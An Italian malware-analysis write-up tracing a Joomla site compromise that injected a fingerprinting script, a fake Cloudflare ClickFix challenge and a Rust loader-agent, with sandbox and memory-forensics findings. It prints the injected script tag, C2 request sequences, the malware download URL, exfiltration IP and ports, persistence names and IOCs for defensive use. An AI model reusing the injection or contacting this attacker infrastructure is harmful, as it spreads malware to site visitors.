Il 15 luglio 2026 mi sono imbattuto nel sito di un'azienda del territorio, un sito perfettamente normale, online da anni, che stava distribuendo malware ai propri visitatori Windows senza che nessuno se ne fosse accorto. Non un sito truffa: un'attività vera, compromessa e trasformata a sua insaputa in un veicolo di distribuzione.
In questo writeup racconto l'intera catena: come l'ho scoperta, come si comportava lo script iniettato, cosa succedeva quando "detonavo" il malware in una sandbox isolata, cosa ho tirato fuori dai dump di memoria, e perché arrivare a dire cosa fa davvero un malware è molto più difficile di quanto sembri.
Nota su responsible disclosure. Il nome dell'azienda vittima e il suo dominio sono censurati: era un bersaglio incolpevole, un sito legittimo compromesso. Gli indicatori dell'infrastruttura dell'attaccante (domini C2, hash, IP) sono invece riportati, perché condividerli aiuta chi fa difesa a bloccarli. L'analisi è stata condotta in ambiente isolato e l'azienda è stata avvisata.
1. La scoperta: uno script che non doveva esserci
Tutto è partito da un dettaglio nel sorgente HTML. In tutte le pagine, dentro il markup del menu di navigazione, compariva uno script estraneo:
...sp-menu-item sp-has-child "><script src="https://js.aacaw.com/fp/v1.min.js"></script>"><a href="/">Home</a>...
Quel " orfano prima di <a> è la firma di una sostituzione automatica via PHP lato server, non di una modifica manuale al template. Lo script veniva iniettato una volta per ogni modulo-menu renderizzato: le pagine con megamenu desktop e menu mobile ne mostravano due copie, quelle con un solo menu una sola.
Il dominio js.aacaw.com non c'entrava nulla con il sito. Primo campanello.
2. Non è il malware: è un cancello
Ho scaricato e deoffuscato fp/v1.min.js (97.920 byte esatti, offuscato con obfuscator.io). La sorpresa: non contiene alcun payload. Zero occorrenze di captcha, download, .exe, blob, clipboard. È un fingerprint gate, un cancello che profila il visitatore e decide se vale la pena attaccarlo.
Lo script raccoglie un fingerprint esteso lato client:
- canvas e WebGL (vendor e renderer via
WEBGL_debug_renderer_info) - enumerazione dei font installati
navigatorcompleto (userAgent, platform, plugins, hardwareConcurrency, lingua)- risoluzione schermo, timezone
Poi invia tutto a un C2 e aspetta il via libera. Deoffuscando e rieseguendo lo script in una sandbox Node con browser mockato e rete intercettata, ho ricostruito la catena passo-passo:
GET https://api.aacak.com/domain → {"domain":"aacak.com"} (domain-agility)
POST https://api.aacak.com/fingerprint/check → {"status":"exist","fp_hash":"..."}
(se il profilo è un bersaglio → inietta il secondo stadio JS)
La prima richiesta è un meccanismo di domain-agility: lo script chiede al C2 quale sia il dominio attivo prima di procedere, così l'attaccante può ruotare l'infrastruttura senza toccare il sito infetto. Il fingerprint viaggia senza alcuna firma HMAC, quindi lo schema è banalmente forgiabile, dettaglio utile più avanti.
Su Mac, Linux o mobile il cancello non riceve mai il via libera e non mostra nulla. Ecco perché una compromissione del genere può passare inosservata per mesi: si attiva solo per il bersaglio giusto.
3. Il falso Cloudflare e la tecnica ClickFix
Quando il profilo è un Windows desktop, il gate inietta un secondo stadio (static.aacak.com/fp/check.v1.min.js, 992.491 byte) che costruisce una imitazione pixel-perfect della challenge di Cloudflare. Testi verbatim come "Performing security verification", "This website uses a security service to protect against malicious bots", branding Cloudflare, e persino i link reali a cloudflare.com/turnstile e cdn-cgi/challenge-platform per autenticità.
La messinscena è costruita in tre atti, ricostruiti qui sotto dai campioni reali (dominio della vittima oscurato: è un bersaglio incolpevole).
Atto 1: la finta challenge. Alla vittima appare la classica interstiziale Cloudflare, con il nome del sito in grande, la checkbox "Verify you are human" e il branding corretto. Indistinguibile da quella vera.

Ed è qui che questa truffa diventa davvero pericolosa. Guarda la barra degli indirizzi e il titolo: il dominio è quello legittimo del sito compromesso. Non è un typosquat, non è un dominio simile, non è un sito clone: è proprio quel sito, con il suo certificato HTTPS valido e la reputazione costruita in anni. L'unica difesa che insegniamo sempre agli utenti, "controlla che l'URL sia quello giusto", qui fallisce, perché l'URL è quello giusto. Nessun campanello d'allarme scatta.
Atto 2: il finto fallimento. Clicchi la checkbox e la challenge finge di non riuscire: "Verification failed, switching to another verification method". È lo snodo psicologico della truffa: la challenge "vera" fallisce, così l'utente accetta di buon grado un metodo "alternativo", abbassando la guardia proprio mentre sta per essere fregato.

Atto 3: il ClickFix. Il "metodo alternativo" è una pagina con sei campi per un "codice di verifica" e un pulsante "Verify now".

Ma i campi e il pulsante sono uno specchietto: non fanno nulla. È il cuore della tecnica ClickFix. Il download vero parte da un link secondario, defilato, "Not enabled yet? Get it now". Cliccandolo:
POST https://api.aacak.com/fingerprint/download-click (telemetria del clic)
GET https://fp-hk.s3.ap-east-1.amazonaws.com/super4/checkbot/checkbot-<rnd>-0.0.32.exe
Il malware viene servito come blob application/octet-stream da un bucket AWS S3 a Hong Kong (fp-hk, ovvero fingerprint-HK), spacciato per un "validatore" necessario a completare il CAPTCHA. Dopo il clic il link diventa "Validator downloaded". L'utente esegue il malware credendo di sbloccare un CAPTCHA, senza alcuna vulnerabilità del browser, solo ingegneria sociale ben confezionata.
E qui la trappola si chiude in modo diabolico. Il "validatore" appena scaricato ed eseguito è il malware stesso, che apre una piccola finestra con un codice a sei cifre, presentato come il codice di verifica da inserire nella pagina.

La vittima copia quel codice nei sei campi della finta challenge sul sito e clicca "Verify now". A quel punto il finto CAPTCHA sparisce e il sito, quello vero, si carica normalmente: l'utente continua a navigare indisturbato e convinto di aver superato un normale controllo di sicurezza. Nessun errore, nessun avviso, nessun segno che qualcosa sia andato storto. Il codice non serviva a nulla dal punto di vista della sicurezza: era solo l'ultimo tassello della messinscena, il gesto che convince l'utente di aver "completato la verifica". Nel frattempo il malware è già sul suo PC, e ci resterà, silenzioso, mentre lui torna a fare quello che era venuto a fare sul sito senza sospettare nulla.
4. La causa a monte: un plugin Joomla non aggiornato
Come ci è finito quello script nel server? Il sito girava su Joomla 4.4.14 (branch end-of-life) con SP Page Builder 4.0.7, affetto da:
| Campo | Valore |
|---|---|
| CVE | CVE-2026-48908, file upload non autenticato che porta a RCE |
| Funzione | asset.uploadCustomIcon (manca il controllo di accesso) |
| Fix | v6.6.2, rilasciata il 14/06/2026 |
| Stato | in CISA KEV (sfruttamento attivo confermato) dal 07/07/2026 |
Incrociando con la Wayback Machine, l'homepage risultava pulita al 12 maggio 2026: la finestra di compromissione si restringe al periodo tra maggio e luglio, coerente con la comparsa della CVE nella lista delle vulnerabilità sfruttate attivamente. Lezione numero uno, la più noiosa e la più importante: un plugin obsoleto è la porta d'ingresso.
5. Detonazione in sandbox isolata
Passiamo al binario. checkbot-win-*.exe, circa 2,76 MB, non firmato. All'esecuzione droppa una classica coppia di DLL sideloading: dumpchk.exe (binario Microsoft legittimo e firmato) che carica un dbgeng.dll malevolo al posto della DLL di sistema omonima.
L'ho eseguito in una VM Windows completamente isolata, senza accesso a internet reale, con una rete finta che logga ogni tentativo di connessione. Ricostruendo la timeline dal .pcap, il malware ha interrogato in sequenza tre domini C2:
~177s api.fingerprint-probe.com ← primo contatto
~370s api.aacaw.com ← stessa famiglia di js.aacaw.com sul sito!
~382s api.aacak.com ← variante typosquat, fallback
Il secondo dominio è la prova diretta che il malware distribuito e lo script sul sito appartengono alla stessa infrastruttura. Tutte le risoluzioni DNS fallivano di proposito, quindi il malware non ha potuto esfiltrare nulla, ma la sequenza di domini è esattamente ciò che avrebbe cercato di fare su un PC reale.
6. Memory dumping: leggere ciò che il disco nasconde
Il file dbgeng.dll su disco non contiene stringhe malevole in chiaro: incorpora due blob cifrati che copia in memoria RWX ed esegue. Il payload va letto in RAM, non su disco.
Catturando un dump completo della memoria della VM durante l'esecuzione, sono emerse in chiaro informazioni che il file cifrato non rivelava:
- Endpoint C2 dell'eseguibile:
/fingerprint/create(distinto dagli endpoint del gate web) - Libreria HTTP:
ureq/3.3.0conrustls 0.23.41, quindi il payload è scritto in Rust (il loader iniziale è invece C/C++ MSVC: loader C, payload Rust, un pattern comune nel malware moderno) - GUID vittima univoco:
0ec389f5-32ae-4a02-85c3-b3a3f21fe78d - Anti-sandbox: stringhe
bochseBOCHS, cioè controlla la presenza dell'emulatore Bochs (non ha rilevato il nostro QEMU/WHPX, per questo si è comportato normalmente) - Branding:
CheckBot Error
Con Volatility3 ho poi fatto le cose per bene su due esecuzioni indipendenti (pslist, malfind, memmap, vadinfo):
pslist → checkbot-win.exe = PID 3596, nessun processo figlio
malfind → hit SOLO su MsMpEng.exe, sppsvc.exe, ServerManager
Qui una trappola metodologica in cui è facilissimo cadere: malfind segnala regioni RWX in Windows Defender e in processi .NET. Sembrano "iniezione in Defender", ma sono i falsi positivi noti, perché quei processi usano legittimamente memoria RWX per il motore di scansione e il JIT. Nessuno di quegli hit era nel malware. Chi non lo sa scrive un report sbagliato con grande sicurezza.
Il dato importante è un altro: nel nostro ambiente il malware preparava la configurazione e si fermava lì, perché il C2 non rispondeva mai. L'iniezione di codice è condizionata a una risposta positiva del C2, quindi il comportamento pericoloso si sblocca solo per vittime reali con internet funzionante.
7. Cosa fa DAVVERO: il differential contro una build pulita
Dal dump ho carvato il payload Rust decifrato (circa 780 KB). E qui viene la parte metodologicamente più delicata di tutta l'analisi.
La tentazione è: cerco stringhe nel dump, trovo wallet, MetaMask, Login Data, Active Directory, e concludo "è uno stealer di wallet e credenziali!". Sbagliato. rustls e la standard library sono linkate staticamente: le loro costanti (tabelle OID, header HTTP) finiscono nel .rdata del blob, co-locate coi marker del malware. Uno scan grezzo di un dump da 8,6 GB pesca stringhe da altri processi e DLL in RAM, non dal malware.
Per non prendere lucciole per lanterne ho compilato una build pulita di riferimento con le versioni esatte dei crate (ureq 3.3.0, rustls 0.23.41, http 1.4.2) e ho sottratto le sue stringhe da quelle del payload. Risultato:
id-smime-cd-ldap,Exchange,LDAP,Cookiescompaiono anche nella build pulita: rumore di libreria, dimostratoActive Directory,SharePoint,DPAPI,wallet,MetaMask,CVVsono assenti perfino nel payload: venivano da altri processi in RAM- ciò che resta dopo la sottrazione sono i moduli Rust dell'autore:
src/core/crypto.rs,src/core/client_id.rs,src/core/i18n.rs,src/core/probe.rs, più anti-debug e uno schema di telemetria
Verdetto sull'eseguibile iniziale: CheckBot è un fingerprinting-probe/loader, NON uno stealer, conclusione difendibile per differenza contro build pulita, non per prossimità di stringhe. Il furto dati, se c'è, è uno stadio successivo.
8. Detonazione live: far cadere l'anti-analisi
Finché il C2 non rispondeva, lo stadio malevolo non si attivava. Per osservarlo ho fatto una detonazione con egress reale verso il C2 vivo, in VM isolata a livello di rete (il guest raggiunge internet ma non la LAN o l'host).
Primo run live: negato. La mia VM "urlava sandbox": hostname SANDBOX-PC, utente Administrator, CPU qemu64, 1 core, SMBIOS QEMU, MAC 52:54:00. Il C2 ha risposto con pochi KB e nessun modulo.
Secondo run: sandbox indurita. Ho camuffato tutto nei parametri QEMU:
-cpu Skylake-Client-v1,-smp 4, SMBIOS Dell OptiPlex 7090, MAC OUI Dell00:14:22, hostnameWKS-MARCO- un profilo utente credibile con credenziali-esca canarytoken:
Desktop\Password.txtcon chiave AWS, banca ed email, più.aws\credentialse documenti Office, tutte finte ma armate, perché scattano quando l'attaccante le usa
Con l'ambiente camuffato, ho lanciato il binario e l'ho lasciato lavorare sotto osservazione. Ecco il malware in azione nella sandbox indurita:

Si vede tutto: l'hostname camuffato WKS-MARCO, la risoluzione DNS del C2 api.aacaw.com che stavolta risponde (gli indirizzi Cloudflare davanti al server dell'attaccante), l'avvio di checkbot-win.exe da F:\ e, dettaglio quasi beffardo, la finestra del malware stesso, intitolata "CheckBot 0.4.32", che ripropone un finto widget Cloudflare "Verifying…" con gli stessi codici a sei cifre della pagina web. La stessa messinscena della challenge nel browser, ora incastonata nell'eseguibile: coerenza di branding fin dentro il binario.
Stavolta il fingerprint è passato e lo stadio finale è arrivato. Osservato direttamente:
- Connessione a
103.1.225.34:8001e:8002, TLS su porte non standard, senza SNI, IP diretto, con download di circa 4 MB di moduli e upload di circa 21 KB (esfiltrazione) - Furto delle esche provato: nella memoria privata del processo iniettato
dllhost.exe(PID 4688) c'era il contenuto integrale diPassword.txt, chiave AWS canaryAKIATU7L4S6WXXD53K7Yinclusa. Undllhost.exesano non legge file dal Desktop utente - Injection confermata con evidenza diretta di
VirtualAllocEx,WriteProcessMemoryeCreateRemoteThreadisolate nel modulo (di nuovo verificate col metodo differential, per non confonderle con stringhe di libreria) - DNS-over-HTTPS per nascondere il C2:
cloudflare-dns.com/dns-queryedns.quad9.net/dns-queryrisolvevano un nuovo dominios4.cache-task.com, eludendo i log DNS di rete
9. Attribuzione: perché pensiamo siano cinesi
Un pezzo che nei writeup si dà spesso per scontato, ma che qui poggia su evidenze concrete e indipendenti. L'attribuzione a operatori sinofoni non nasce da un indizio solo, ma da stringhe in cinese semplificato trovate in punti diversi e non collegati della catena: script web, backend C2, pagina-esca, binario. Se fosse un punto solo direi coincidenza; quattro punti indipendenti no.
Gli esempi concreti, con la traduzione:
- Errore del C2, mandando un fingerprint malformato al backend Rust:
fp_data 缺少必要字段, cioè "mancano campi obbligatori". Il messaggio d'errore è scritto in cinese direttamente nel server. - Stringhe del falso CAPTCHA:
看 6 位验证码, cioè "guarda il codice a 6 cifre", i commenti per l'operatore dietro la finta challenge Cloudflare. - Frammento nel gate:
网络, cioè "rete", lasciato tra il codice del fingerprint. - Commento nel CSS della pagina-esca:
BOSS 约束, cioè "vincolo del capo". Un dettaglio quasi umano, il tipo di commento che uno sviluppatore scrive per sé stesso, non pensando che finirà sotto la lente di un analista.
C'è di più, e sposta l'attribuzione dal linguaggio all'infrastruttura. La risoluzione dei domini avveniva via DNS-over-HTTPS multi-provider, e tra i resolver scelti c'era dns.alidns.com, cioè il DNS pubblico di Alibaba (Cina), accanto a cloudflare-dns.com, quad9.net e dns.google. Una scelta che ha un doppio scopo: bypassare il resolver DNS locale (niente traccia nel DNS aziendale o dell'ISP) e appoggiarsi a infrastruttura comoda per chi opera da quell'area.
E poi c'è la storia del dominio, forse il tassello più eloquente. Interrogando il DNS passivo di aacak.com, uno dei domini C2, sono venuti a galla i suoi sottodomini storici: non nomi a caso, ma liuhecai, yulecheng, zuqiubocai. Sono tutti termini cinesi del gioco d'azzardo: rispettivamente la lotteria Mark Six di Hong Kong, i "centri di intrattenimento" cioè i casinò online, e le scommesse sul calcio. Prima di ospitare il gate di CheckBot, insomma, quello stesso dominio serviva giri di scommesse online cinesi. Non è una vittima e non è rumore: è un pezzo di biografia dell'attaccante. Dice che dietro questa campagna non c'è un esordiente, ma un attore già radicato nell'ecosistema del gambling clandestino sinofono, che ha poi riconvertito la propria infrastruttura alla distribuzione di malware.
Infine, un dettaglio dai path di panic del binario Rust: lo stealer è stato cross-compilato su macOS (toolchain stable-aarch64-apple-darwin). Non è una prova di nazionalità, ma dipinge il profilo: operatori che sviluppano su Mac Apple Silicon, con messaggistica interna in cinese, e infrastruttura che tocca provider cinesi.
Resta un'attribuzione forte ma non conclusiva: le stringhe in una lingua possono essere messe apposta per depistare. Però la coerenza tra linguaggio, provider DNS, storia del dominio e stile dei commenti rende il falso-flag meno probabile di quanto lo renderebbe un singolo indizio isolato.
10. Non uno stealer a target fissi, ma un agente modulare
Recuperando il modulo decompresso dalla RAM (Volatility3 vadinfo --dump) e disassemblandolo, è emerso l'intero albero dei sorgenti Rust dell'autore (dai path di panic app/r/...):
core/ c2_endpoint.rs, tcp3.rs (TLS custom), dns3.rs + dns_resolve.rs (DoH)
runtime/ beacon.rs, task.rs + heavy_task.rs + worker.rs (esecutore di task C2),
supervisor.rs, immortal.rs (persistenza), host_info_cache.rs (recon)
win/ remote_inject.rs (injection), agent_launch.rs, plat.rs, storage.rs
embed/ cfg.rs, version.rs (v0.0.32)
Questo spiega l'assenza di stringhe browser e wallet: non è uno stealer a target cablati, è un agente modulare guidato da task del C2. L'operatore spinge i comandi (inject_host, restart, update, sleep, stop, god, fmt e altri); il furto di file è avvenuto perché ha inviato il task giusto, e infatti si è preso la mia esca. Capacità come furto browser o wallet sarebbero moduli aggiuntivi scaricati on-demand. La superficie di rischio è aperta; ciò che è dimostrato su questa vittima è: injection, recon, persistenza, furto file su comando ed esfiltrazione.
11. Persistenza e neutralizzazione
La persistenza è ridondante, pensata per resistere alla bonifica. La stringa letterale è cablata nel binario CheckBot:
- Gancio primario: scheduled task camuffato
\Microsoft\Windows\Device Information\DeviceCensusHelper(imita il legittimoDeviceCensus, autore falsificato Microsoft Corporation), creato via Task Scheduler COM API, che esegue il loader sideload a ogni boot - Gancio fallback: chiave di registro HKLM (
immortal.rs), usata se il task fallisce - Self-heal:
immortal.rsesupervisor.rsriavviano i thread, e task e corpo si ricreano a vicenda
Ecco perché per bonificare non basta cancellare un file. Servono tutti i ganci insieme:
- Sito offline e patch della causa: aggiornare SP Page Builder a una versione uguale o superiore alla 6.6.2, aggiornare tutto il resto, valutare la migrazione da Joomla 4.4 EOL
- Caccia alla persistenza sull'endpoint infetto: rimuovere lo scheduled task
DeviceCensusHelper, la chiave HKLM, il loader droppato (dumpchk.exeedbgeng.dll) e ildllhost.exeiniettato; se ne manca uno, si rigenera - Rotazione totale delle credenziali (admin Joomla, secret
configuration.php, DB, hosting, FTP/SSH, API key) - Sul server: cercare admin e webshell nascosti, senza fermarsi al plugin
- GDPR: il sito raccoglieva contatti via form, quindi con accesso al DB l'attaccante potrebbe aver visto dati di terzi; da qui la valutazione dell'obbligo di notifica breach (72 ore, Art. 33)
Come tocco finale, le esche canary esfiltrate sono armate: la chiave AWS AKIATU7L4S6WXXD53K7Y e i documenti Office con callback a canarytokens.com scatteranno quando l'operatore userà la refurtiva, rivelando IP e user-agent reali dell'attaccante.
Indicatori di compromissione (IOC)
| Tipo | Valore |
|---|---|
| Dominio gate (iniettato) | js.aacaw.com |
| Domini C2 | api.aacaw.com, api.aacak.com, api.aabaw.com, api.fingerprint-probe.com |
| Secondo stadio JS | static.aacak.com/fp/check.v1.min.js |
| Delivery/exfil (S3 Hong Kong) | fp-hk.s3.ap-east-1.amazonaws.com, con super4/checkbot/checkbot-*-0.0.32.exe e super4/zip/<token>.zip |
| Server esfiltrazione finale | 103.1.225.34:8001 e :8002 (TLS senza SNI, IP diretto) |
| Dominio C2 via DoH | s4.cache-task.com |
| Persistenza | scheduled task \Microsoft\Windows\Device Information\DeviceCensusHelper |
| Processo bersaglio injection | dllhost.exe |
Hash dbgeng.dll (payload malevolo) |
d36db5975073d65a7d7ff48d0dab9ec3b4ce6302a42c01b89f78a580658df9a3 |
| CVE sfruttata | CVE-2026-48908 (SP Page Builder fino alla 6.6.1, Joomla) |
| Attribuzione | stringhe in cinese in gate, C2 ed esca, DoH verso Alibaba, build su macOS, quindi operatori sinofoni |
12. Non era un caso isolato: la caccia alle altre vittime
Segnalato il primo sito, la domanda ovvia era: è un bersaglio isolato o la punta di qualcosa di più grande? La firma d'iniezione che avevo isolato durante l'analisi (lo script gate js.aacaw.com e la famiglia di domini C2 *.aacaw.com / *.aacak.com / *.aabaw.com) era un'impronta digitale perfetta per cercare altre vittime: se un sito, in qualunque parte del mondo, caricava quello script, apparteneva alla stessa campagna.
L'ho fatto senza toccare un solo sito vittima, solo con fonti passive:
- urlscan.io, che archivia le richieste di rete realmente partite da ogni pagina scansionata: interrogando l'indice per i domini della campagna vengono fuori i siti da cui quel gate ha "sparato".
- PublicWWW, che indicizza il sorgente HTML di centinaia di milioni di siti: cercare la stringa
js.aacaw.comrestituisce direttamente le pagine in cui l'iniezione è ancora presente. - Certificate transparency (crt.sh) per mappare le famiglie di domini fratelli generati dall'attaccante.
Il risultato ha spostato la prospettiva: non un sito, ma decine. Nell'ordine delle 60-90 vittime osservabili in quel momento, sparse in una quindicina di paesi, con un denominatore comune che non lascia spazio a dubbi: tutte Joomla con SP Page Builder, esattamente la stessa combinazione e la stessa CVE-2026-48908 del primo sito. Non un bersaglio scelto, ma una mietitura automatica di qualunque installazione vulnerabile l'attaccante riuscisse a trovare.
E che vittime. Senza fare nomi (sono bersagli incolpevoli, come il primo): studi professionali che trattano dati finanziari di terzi, istituzioni accademiche e pubbliche, un teatro, associazioni culturali e sportive, piccole imprese di servizi e, all'estremo alto della scala di rischio, una banca e portali governativi. Ognuno di questi siti, ignaro, stava servendo la stessa finta challenge Cloudflare ai propri visitatori Windows.
Il dettaglio più insidioso è perché nessuno se ne era accorto. Il gate non si attiva sempre: è cloaked, servito a intermittenza: una volta per IP, in base a user-agent, geolocalizzazione, referrer. Il proprietario che apre il proprio sito lo vede pulito, perché al secondo caricamento il cancello resta chiuso; urlscan lo cattura solo nell'istante esatto in cui decide di "sparare". Questo spiega come una campagna così estesa possa restare invisibile per mesi ai diretti interessati.
Una precisazione, perché la stessa disciplina applicata ai dump di memoria vale anche qui: una stima iniziale, a impressione, faceva pensare a migliaia o decine di migliaia di siti. I dati non la reggono. Il footprint reale dell'iniezione web è nell'ordine delle decine, non delle migliaia: il gate è volutamente stealth, e la sofisticazione non implica un numero alto di siti (il "volume" della campagna, semmai, sta sul lato della botnet di dispositivi infetti, non misurabile da fonti passive). Anche nel dimensionare una campagna vale la regola del writeup: contare ciò che si dimostra, non ciò che colpisce.
C'è una linea che non ho superato: nessun hack-back. Connettersi al server dell'attaccante per estrarne la "lista completa" delle vittime sarebbe accesso non autorizzato, illegale anche contro un criminale, e spesso il modo migliore per finire in un honeypot. La ricognizione dell'infrastruttura ostile si fa solo via indici passivi; la lista davvero esaustiva si ottiene per via legittima, girando gli IOC al CSIRT/CERT, che ha i poteri e i canali per il takedown e per la notifica coordinata alle vittime, la strada obbligata soprattutto per gli enti pubblici colpiti.
Ho contattato le vittime che potevo raggiungere, a partire da quelle italiane, e passato gli indicatori ai canali istituzionali. Ma il punto, per chi legge, è un altro, e chiude il cerchio con la prima lezione: quel primo sito non aveva niente di speciale. Non era stato scelto. Era solo uno dei tanti a girare un plugin non aggiornato, nel momento sbagliato.
Cosa mi porto a casa
Tre lezioni, in ordine di importanza.
Un plugin non aggiornato basta. Nessun exploit sofisticato del browser, nessuno zero-day: una CVE nota in un plugin end-of-life, e un sito legittimo diventa un distributore di malware per mesi senza che nessuno se ne accorga, perché il cancello si attiva solo per il bersaglio giusto.
L'analisi statica non basta contro il packing moderno. Downloader Rust, poi zip cifrato con password dal C2, poi loader C con blob XOR-rolling, poi shellcode, poi payload compresso a runtime. Ogni strato è pensato per fermare chi guarda solo il file su disco. La verità sta in RAM, e va tirata fuori con detonazione controllata e memory forensics.
Attenzione a ciò che credi di aver trovato. I falsi positivi di malfind su Defender, le stringhe di libreria scambiate per capacità del malware, il primo elenco "wallet, browser, Telegram" che il differential ha demolito. La differenza tra un report giusto e uno sbagliato ma convincente è tutta qui: verificare per differenza, non per prossimità.
Se gestisci un sito su un CMS con plugin di terze parti, che sia Joomla, WordPress o Drupal, la domanda non è se ci sono aggiornamenti in sospeso, ma da quanto.
